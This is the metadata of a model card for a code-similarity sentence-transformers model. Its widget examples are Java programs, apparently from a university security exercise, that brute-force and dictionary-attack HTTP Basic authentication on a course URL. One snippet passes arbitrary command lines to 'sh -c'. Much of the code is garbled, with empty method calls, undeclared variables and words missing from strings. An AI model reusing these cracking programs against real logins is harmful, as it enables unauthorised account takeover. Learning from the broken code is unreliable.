metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:30069
- loss:SoftmaxLoss
base_model: huggingface/CodeBERTa-small-v1
widget:
- source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\nimport java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce {\n \n \n \n public static String Base64Encode(String s) {\n byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length % 3!=0) {\n int x1 = bb.length;\n \n b = new byte[(x1/3+1)*3];\n int x2 = b.length;\n \n for(int i=0;i<x1;i++)\n b[i] = bb[i];\n for(int i=x1;i<x2;i++)\n b[i] = 0;\n }\n \n char[] c = new char[b.length/3*4];\n \n int i=0, j=0;\n while (i+3<=b.length) {\n c[j] = table[(b[i] >> 2)];\n c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n i+=3;\n j+=4;\n }\n \n j = c.length-1;\n while (c[j]=='A') {\n c[j]='=';\n j--;\n }\n \n return String.valueOf(c);\n }\n \n \n public synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n for (int i=0;i<MAXTHREAD;i++) {\n attempt += threads[i].getLocalAttempt();\n }\n }\n \n \n public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n System.out.println();\n System.out.println(\" ------------------------ [ CURRENT STATISTICS ] ---------------------------\");\n System.out.println();\n System.out.println(\" Current connections : \"+curconn);\n System.out.println(\" Current progress : \"+attempt+ \" of \"+ALLCOMBI+\" (\"+currprogress+\"%)\");\n System.out.println(\" Overall Attempts rate : \"+ovrl+\" attempts second (approx.)\");\n System.out.println();\n System.out.println(\" ---------------------------------------------------------------------------\");\n System.out.println();\n }\n \n \n public class MyTT extends TimerTask {\n \n public synchronized void run() {\n \n \n if (count==REPORT_INTERVAL) {\n \n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n \n getAccumulatedLocalAttempt();\n double p = (double)attempt/(double)ALLCOMBI*100;\n \n \n double aps = (double) (attempt - attm) / REPORT_INTERVAL;\n \n \n attmArr[attmArrIdx++] = aps;\n \n \n printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n count = 0;\n } else\n \n if (count==0) {\n getAccumulatedLocalAttempt();\n attm = attempt;\n count++;\n } else {\n count++;\n }\n }\n \n \n public synchronized double getOverallAttemptPerSec() {\n double val = 0;\n for (int i=0;i<attmArrIdx;i++) {\n val+= attmArr[i];\n }\n return val / attmArrIdx;\n }\n \n private int count = 0;\n private int attm;\n private int attmArrIdx = 0;\n private double[] attmArr = new double[2*60*60/10]; \n }\n \n \n public synchronized void interruptAll(int ID) {\n for (int i=0;i<MAXTHREAD;i++) {\n if ((threads[i].isAlive()) && (i!=ID)) {\n threads[i].interrupt();\n }\n notifyAll();\n }\n }\n \n \n \n public synchronized void setSuccess(int ID, String p) {\n passw = p;\n success = ID;\n notifyAll();\n interruptAll(ID);\n \n \n end = System.currentTimeMillis();\n }\n \n \n public synchronized boolean isSuccess() {\n return (success>=0);\n }\n \n \n \n public synchronized void waitUntilAllTerminated() {\n while (curconn>0) {\n try {\n wait();\n } catch (InterruptedException e) {}\n }\n }\n \n \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean interruptd= false;\n int idx = -1;\n \n \n \n \n while (curconn>=MAXCONN) {\n try {\n wait();\n } catch (InterruptedException e) { interruptd = true; }\n }\n \n \n \n if (!interruptd) {\n \n curconn++;\n for (idx=0;idx<MAXCONN;idx++)\n if (!connused[idx]) {\n connused[idx] = true;\n break;\n }\n \n notifyAll();\n }\n \n \n return idx;\n }\n \n \n public synchronized void decreaseConn(int idx) {\n curconn--;\n connused[idx] = false;\n \n \n notifyAll();\n }\n \n \n public class ThCrack extends Thread {\n \n \n public ThCrack(int threadID, int startidx, int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\": \");\n this.ID = threadID;\n this.startidx = startidx;\n this.endidx = endidx;\n \n setDaemon(true);\n }\n \n \n public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {\n int i ;\n String msg;\n \n \n URL tryURL = new URL(THEURL);\n \n \n connections[connID]=(HttpURLConnection) tryURL.openConnection();\n \n \n connections[connID].setRequestProperty(\"Authorization\",\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \n i = connections[connID].getResponseCode();\n msg = connections[connID].getResponseMessage();\n connections[connID].disconnect();\n \n \n if (i==HttpURLConnection.HTTP_OK) {\n \n System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"-\"+msg+\").\");\n setSuccess(this.ID,thePass);\n return (true);\n } else {\n \n System.out.println(ID+\"Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n return (false);\n }\n }\n \n \n public void rest(int msec) {\n try { sleep(msec); } catch (InterruptedException e) {}\n }\n \n \n \n public String constructPassword( int idx) {\n int i = idxLimit.length-2;\n boolean processed = false;\n \n String result = \"\";\n while (i>=0) {\n if (idx>=idxLimit[i]) {\n int nchar = i + 1;\n idx-=idxLimit[i];\n for (int j=0;j<nchar;j++) {\n x = (idx % NCHAR);\n result = charset.charAt((int) x) + result;\n idx /= NCHAR;\n }\n break;\n }\n i--;\n }\n \n return result;\n }\n \n \n public String getStartStr() {\n return constructPassword(this.startidx);\n }\n \n \n public String getEndStr() {\n return constructPassword(this.endidx);\n }\n \n \n public void run() {\n i = startidx;\n boolean keeprunning = true;\n while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {\n \n \n int idx = waitUntilOK2Connect();\n \n \n if (idx==-1) {\n \n break;\n }\n \n try {\n \n launchRequest(getName(), idx, constructPassword(i));\n \n decreaseConn(idx);\n \n localattempt++;\n \n \n rest(MAXCONN);\n i++;\n } catch (InterruptedException e) {\n \n \n keeprunning = false;\n break;\n } catch (IOException e) {\n \n \n \n \n \n decreaseConn(idx);\n }\n }\n \n \n if (success==this.ID) {\n waitUntilAllTerminated();\n }\n }\n \n \n public int getLocalAttempt() {\n return localattempt;\n }\n \n private int startidx,endidx;\n private int ID;\n private int localattempt = 0;\n }\n \n \n public void printProgramHeader(String mode,int nThread) {\n System.out.println();\n System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************\");\n System.out.println();\n System.out.println(\" URL : \"+THEURL);\n System.out.println(\" Crack Mode : \"+mode);\n System.out.println(\" Characters : \"+charset);\n System.out.println(\" . Char : \"+MINCHAR);\n System.out.println(\" . Char : \"+MAXCHAR);\n System.out.println(\" # of Thread : \"+nThread);\n System.out.println(\" Connections : \"+MAXCONN);\n System.out.println(\" All Combi. : \"+ALLCOMBI);\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n }\n \n \n public void startNaiveCracking() {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n int thcount;\n \n \n if (isenhanced) {\n printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n } else {\n printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n }\n \n \n i = System.currentTimeMillis();\n \n idxstart = idxLimit[MINCHAR-1];\n \n \n \n \n \n \n if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart) / MAXTHREAD;\n \n \n \n for (thcount=0;thcount<MAXTHREAD-1;thcount++) {\n startidx = thcount*mult + idxstart;\n endidx = (thcount+1)*mult-1 + idxstart;\n threads[thcount] = new ThCrack(thcount, startidx, endidx);\n System.out.println(threads[thcount].getName()+\" try crack from '\"+threads[thcount].getStartStr()+\"' '\"+threads[thcount].getEndStr()+\"'\");\n }\n \n \n \n \n \n startidx = (MAXTHREAD-1)*mult + idxstart;\n endidx = ALLCOMBI-1;\n threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);\n System.out.println(threads[MAXTHREAD-1].getName()+\" try crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"' '\"+threads[MAXTHREAD-1].getEndStr()+\"'\");\n \n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n \n \n for (int i=0;i<MAXTHREAD;i++)\n threads[i].print();\n }\n \n \n public BruteForce() {\n \n if (isenhanced) {\n startDistCracking();\n } else {\n startNaiveCracking();\n }\n \n \n reportTimer = new java.util.Timer();\n MyTT tt = new MyTT();\n reportTimer.schedule(tt,1000,1000);\n \n \n while ((success==-1) && (attempt<ALLCOMBI)) {\n try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }\n }\n \n \n if (success==-1) {\n end = System.currentTimeMillis();\n }\n \n \n getAccumulatedLocalAttempt();\n \n double ovAps = tt.getOverallAttemptPerSec();\n DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n \n reportTimer.cancel();\n \n \n try { Thread.sleep(1000); } catch (InterruptedException e) { }\n \n \n synchronized (this) {\n if (success>=0) {\n System.out.println();\n System.out.println(\" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************\");\n System.out.println();\n System.out.println(\" The password is : \"+passw);\n System.out.println(\" Number of attempts : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n System.out.println(\" Cracking time : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+ \" seconds\");\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n } else {\n System.out.println();\n System.out.println(\" ********************* [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n System.out.println(\" Number of attempts : \"+attempt+\" of \"+ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+ \" attempts/sec\");\n System.out.println(\" Cracking time : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n System.out.println();\n System.out.println(\" ***************************************************************************\");\n System.out.println();\n }\n }\n }\n \n \n public static void printSyntax() {\n System.out.println();\n System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] [] [username]\");\n System.out.println();\n System.out.println(\" mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\" (trying from the first the last combinations)\");\n System.out.println(\" 1 - ENHANCED Brute force mode\");\n System.out.println(\" (dividing cracking jobs multiple threads) (default)\");\n System.out.println(\" URL : (opt) the URL crack \");\n System.out.println(\" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\" charset : (optional) the character set used crack.\");\n System.out.println(\" - (default)\");\n System.out.println(\" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" -alphanum \");\n System.out.println(\" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n System.out.println(\" -alphalow \");\n System.out.println(\" abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\" -alphaup \");\n System.out.println(\" ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" -number \");\n System.out.println(\" 1234567890\");\n System.out.println(\" [custom] e.g. aAbB123\");\n System.out.println(\" , : (optional) range of characters applied in the cracking\");\n System.out.println(\" where 1 <= <= 10 (default = 1)\");\n System.out.println(\" <= <= 10 (default = 3)\");\n System.out.println(\" username : (optional) the username that is used crack\");\n System.out.println();\n System.out.println(\" NOTE: The optional parameters 'charset','','', and 'username'\");\n System.out.println(\" have specified altogether none at all.\");\n System.out.println(\" For example, if [charset] is specified, then [], [], and\");\n System.out.println(\" [username] have specified as well. If none of them specified,\");\n System.out.println(\" default values used.\");\n System.out.println();\n System.out.println(\" Example of invocation :\");\n System.out.println(\" java BruteForce \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\" java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\" java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n System.out.println();\n System.out.println();\n }\n \n \n \n \n \n \n \n \n public static void countIdxLimit() {\n idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if (i==0) {\n idxLimit[i] = 0;\n } else {\n idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \n \n public static void paramCheck(String[] args) {\n int argc = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue()) {\n case 0: {\n isenhanced = false;\n } break;\n case 1: {\n isenhanced = true;\n } break;\n default:\n System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n printSyntax();\n System.exit(1);\n }\n } catch (NumberFormatException e) {\n System.out.println(\"Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n if (argc>1) {\n try {\n \n URL u = new URL(args[1]);\n \n \n try {\n HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \n switch (conn.getResponseCode()) {\n case HttpURLConnection.HTTP_ACCEPTED:\n case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n case HttpURLConnection.HTTP_FORBIDDEN:\n case HttpURLConnection.HTTP_UNAUTHORIZED:\n break;\n default:\n \n \n System.out.println(\"Unable open connection the URL '\"+args[1]+\"'\");\n System.exit(1);\n }\n } catch (IOException e) {\n System.out.println(e);\n System.exit(1);\n }\n \n THEURL = args[1];\n } catch (MalformedURLException e) {\n \n System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n System.exit(1);\n }\n }\n \n \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n } catch (NumberFormatException e) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n try {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n } catch (NumberFormatException e) {\n System.out.println(\"Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n System.exit(1);\n }\n \n if ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"' (must between 0 and 10)\");\n printSyntax();\n System.exit(1);\n } else\n if (MINCHAR>MAXCHAR) {\n System.out.println(\"Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n printSyntax();\n System.exit(1);\n }\n \n if (MAXCHAR>10) {\n System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between value and 10)\");\n printSyntax();\n System.exit(1);\n }\n \n if (args[2].toLowerCase().equals(\"-\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\";\n } else\n if (args[2].toLowerCase().equals(\"-alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\";\n } else\n if (args[2].toLowerCase().equals(\"-alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n } else\n if (args[2].toLowerCase().equals(\"-number\")) {\n charset = \"1234567890\";\n } else {\n charset = args[2];\n }\n \n USERNAME = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n System.out.println(\"Please specify the [charset], [], [], and [username] altogether none at all\");\n printSyntax();\n System.exit(1);\n } else\n if ((argc>2) && (argc>6)) {\n System.out.println(\"The number of parameters expected is not more than 6. \");\n System.out.println(\" have specified more than 6 parameters.\");\n printSyntax();\n System.exit(1);\n }\n }\n \n public static void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if (args.length==0) {\n args = new String[6];\n args[0] = String.valueOf(1); \n args[1] = THEURL;\n args[2] = \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4] = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \n \n paramCheck(args);\n \n countIdxLimit();\n \n \n Application = new BruteForce();\n }\n \n public static BruteForce Application;\n public static String THEURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean isenhanced; \n public static String passw = \"\"; \n \n public static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD = 50; \n public static int MAXCONN = 50; \n public static int\t curconn = 0; \n public static int success = -1; \n \n public static String USERNAME = \"\"; \n public static int MINCHAR; \n public static int MAXCHAR; \n public static int ALLCOMBI; \n \n public static int start ,end; \n \n \n public static java.util.Timer reportTimer; \n public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[] = new boolean[MAXCONN]; \n public ThCrack[] threads = new ThCrack[MAXTHREAD]; \n public static int attempt = 0; \n public static int idxLimit; \n public static String charset; \n public static int NCHAR; \n}\n"
sentences:
- |+
public class Execute {
public Execute(String cmdline) {
try {
String[] cmd = {"//sh", "-c", cmdline};
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
} catch (Exception e){}
}
}
- "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\nimport javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n private String url;\n private URL currURL;\n private URLConnection conn;\n private HoldSharedData sharedData;\n private int noOfThread;\n private int batch;\n\n public ConnectionThread( String pageURL, int wThread,\n int newBatch, HoldSharedData data )\n {\n super();\n url = pageURL;\n noOfThread = wThread ;\n batch = newBatch;\n sharedData = data;\n }\n\n \n public void run()\n {\n try\n {\n currURL = new URL( url );\n\n for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&\n (i < sharedData.getPwdCount()); i ++ )\n {\n String pwd = sharedData.getPasswordAt( i );\n\n conn = currURL.openConnection();\n\n if (conn instanceof HttpURLConnection)\n {\n\t HttpURLConnection hconn = (HttpURLConnection) conn;\n hconn.setFollowRedirects(false);\n String cad = \" \" + based64Encoder( \":\" + pwd );\n hconn.setRequestProperty( \"Authorization\", cad );\n\n hconn.connect();\n\t int response = hconn.getResponseCode();\n sharedData.setNumOfConnections();\n\n if( response == 200 )\n {\n totalTime = System.currentTimeMillis() -\n sharedData.getStartTime();\n int numOfConnections = sharedData.getNumOfConnections();\n\n System.out.println( \"Password is \" + pwd );\n System.out.println( \"Total Time(seconds)=\" +\n (double)totalTime/1000 );\n System.out.println( \"Number Of Connections: \" +\n numOfConnections );\n System.exit(0);\n }\n else\n {\n hconn.disconnect();\n }\n }\n }\n }\n catch( MalformedURLException mue )\n {\n String msg = \"Unable parse URL: \" + url;\n System.err.println( msg );\n }\n catch( IOException ioe )\n {\n System.err.println( \"I/O Error : \" + ioe );\n }\n }\n\n private String based64Encoder( String pwd )\n {\n \n String str = pwd;\n byte[] buf = str.getBytes();\n String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n return encodedStr;\n }\n} "
- |-
import java.io.*;
import java.net.*;
public class Dictionary{
public static void main( String[] args ){
Dictionary dict= new Dictionary();
dict.create();
}
public void dsf(){
String password;
String auth_data;
String username="";
String server_res_code;
String required_server_res_code="200";
int cntr=0;
try{
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection conn=null;
String fileName = "/usr/share/lib/dict/words";
fileName=fileName.trim();
FileReader fr = new FileReader(fileName);
BufferedReader inputfile = new BufferedReader(fr);
while( (password=inputfile.readLine()) != null ){
password = password.trim();
auth_data=null;
auth_data=username + ":" + password;
auth_data=auth_data.trim();
auth_data=getBasicAuthData(auth_data);
auth_data=auth_data.trim();
conn=url.openConnection();
conn.setDoInput (true);
conn.setDoOutput(true);
conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1");
conn.setRequestProperty ("Authorization", auth_data);
server_res_code=conn.getHeaderField(0);
server_res_code=server_res_code.substring(9,12);
server_res_code.trim();
cntr++;
if( server_res_code.compareTo(required_server_res_code)!=0)
System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code);
else {
System.out.println(cntr + " . " + "PASSWORD IS: " + password + " SERVER RESPONSE : " + server_res_code);
break;}
}
}
catch( Exception e){
System.err.println(e);
}
}
public String getBasicAuthData (String getauthdata) {
char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' } ;
String encodedString = "";
byte bytes [] = getauthdata.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return " " + encodedString;
}
}
- source_sentence: |
import java.net.*;
import java.util.*;
import java.io.*;
public class BruteForce {
URL url;
URLConnection uc;
String username, password, encoding;
int pretime, posttime;
String c ;
public BruteForce(){
pretime = new Date().getTime();
try{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
}catch(MalformedURLException e){
e.printStackTrace();
}
username = "";
}
public void checkPassword(char[] pw){
try{
password = new String(pw);
encoding = new pw.misc.BASE64Encoder().encode((username+":"+password).getBytes());
uc = url.openConnection();
uc.setRequestProperty("Authorization", " " + encoding);
bf = uc.getHeaderField(null);
System.out.println(password);
if(bf.equals("HTTP/1.1 200 OK")){
posttime = new Date().getTime();
diff = posttime - pretime;
System.out.println(username+":"+password);
System.out.println();
System.out.println(diff/1000/60 + " minutes " + diff/1000%60 + " seconds");
System.exit(0);
}
}catch(MalformedURLException e){
e.printStackTrace();
}catch(IOException ioe){
ioe.printStackTrace();
}
}
public static void main (String[] args){
BruteForce bf = new BruteForce();
char i, j, k;
for(i='a'; i<='z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='Z'; i++){
for(j='a'; j<='z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='Z'; j++){
for(k='a'; k<='z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='a'; j<='z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='a'; i<='z'; i++){
for(j='A'; j<='Z'; j++){
for(k='A'; k<='Z'; k++){
char[] pw = {i, j, k};
bf.checkPassword(pw);
}
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
for(j='A'; j<='z'; j++){
if((j=='[') || (j=='\\') || (j==']') || (j=='^') || (j=='_') || (j=='`')){
continue;
}
char[] pw = {i, j};
bf.checkPassword(pw);
}
}
for(i='A'; i<='z'; i++){
if((i=='[') || (i=='\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){
continue;
}
char[] pw = {i};
bf.checkPassword(pw);
}
}
}
sentences:
- "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n{\t\n\n\tpublic static void main(String args[])\n\t{\n\n Runtime rt1 = Runtime.getRuntime();\n\t Process prss1= null;\n\n try\n {\n prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/\");\n }catch(java.io.IOException e){}\n\n\t MyWatchDogTimer w = new MyWatchDogTimer();\n\t Timer time = new Timer();\n\t time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n"
- |
import java.io.*;
import java.net.*;
public class BruteForce
{
private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private static String password;
private static int length;
private static int t_counter;
private static int f_counter;
private static int cases;
private static int respCode;
public BruteForce()
{
Authenticator.setDefault(new BruteForceAuthenticator());
t_counter = 0;
f_counter = 0;
cases = 0;
}
public static void main (String[] args)
{
BruteForce bf = new BruteForce();
String file = " ";
while(respCode != 200)
{
file = bf.fetchURL();
}
System.out.println("Number of attempts: " + t_counter);
System.out.println("Password: " + password);
System.out.println(file);
}
private String fetchURL()
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
try
{
URL url = new URL(urlString);
HttpURLConnection huc = (HttpURLConnection)url.openConnection();
respCode = huc.getResponseCode();
InputStream content = huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null)
{
pw.println(line);
}
} catch (IOException e) {
pw.println("Error URL");
}
return sw.toString();
}
class BruteForceAuthenticator extends Authenticator
{
private String username = "";
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication(username,generatePassword());
}
protected char[] generatePassword()
{
int i,j,k;
int n = 26;
String letters1 = "qwertyuiopasdfghjklzxcvbnm";
String letters2 = "abcdefghijklmnopqrstuvwxyz";
i=0;
j=0;
k=0;
if(t_counter == 0)
{
length = 1;
cases = 0;
f_counter = 0;
}
if(t_counter == 2*n)
{
length = 2;
cases = 0;
f_counter = 0;
}
if(t_counter == (2*n + 4*n*n))
{
length = 3;
cases = 0;
f_counter = 0;
}
char c[] = new char[length];
if(length == 1)
{
if(f_counter == n)
{
cases++;
f_counter = 0;
}
i = f_counter;
} else if(length == 2)
{
if(f_counter == n*n)
{
cases++;
f_counter = 0;
}
i = f_counter/n;
j = f_counter - i*n;
} else if(length == 3)
{
if(f_counter == n*n*n)
{
cases++;
f_counter = 0;
}
i = f_counter/(n*n);
j = (f_counter - i*n*n)/n;
k = f_counter - i*n*n - j*n;
}
switch(cases)
{
case 0:
c[0] = letters1.charAt(i);
if(length > 1) c[1] = letters1.charAt(j);
if(length > 2) c[2] = letters1.charAt(k);
break;
case 1:
c[0] = Character.toUpperCase(letters1.charAt(i));
if(length > 1) c[1] = Character.toUpperCase(letters1.charAt(j));
if(length > 2) c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 2:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = letters1.charAt(j);
if(length > 2) c[2] = letters1.charAt(k);
break;
case 3:
c[0] = letters1.charAt(i);
c[1] = Character.toUpperCase(letters1.charAt(j));
if(length > 2) c[2] = letters1.charAt(k);
break;
case 4:
c[0] = letters1.charAt(i);
c[1] = letters1.charAt(j);
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 5:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = Character.toUpperCase(letters1.charAt(j));
c[2] = letters1.charAt(k);
break;
case 6:
c[0] = letters1.charAt(i);
c[1] = Character.toUpperCase(letters1.charAt(j));
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
case 7:
c[0] = Character.toUpperCase(letters1.charAt(i));
c[1] = letters1.charAt(j);
c[2] = Character.toUpperCase(letters1.charAt(k));
break;
default:
break;
}
f_counter++;
t_counter++;
password = new String(c);
return c;
}
}
}
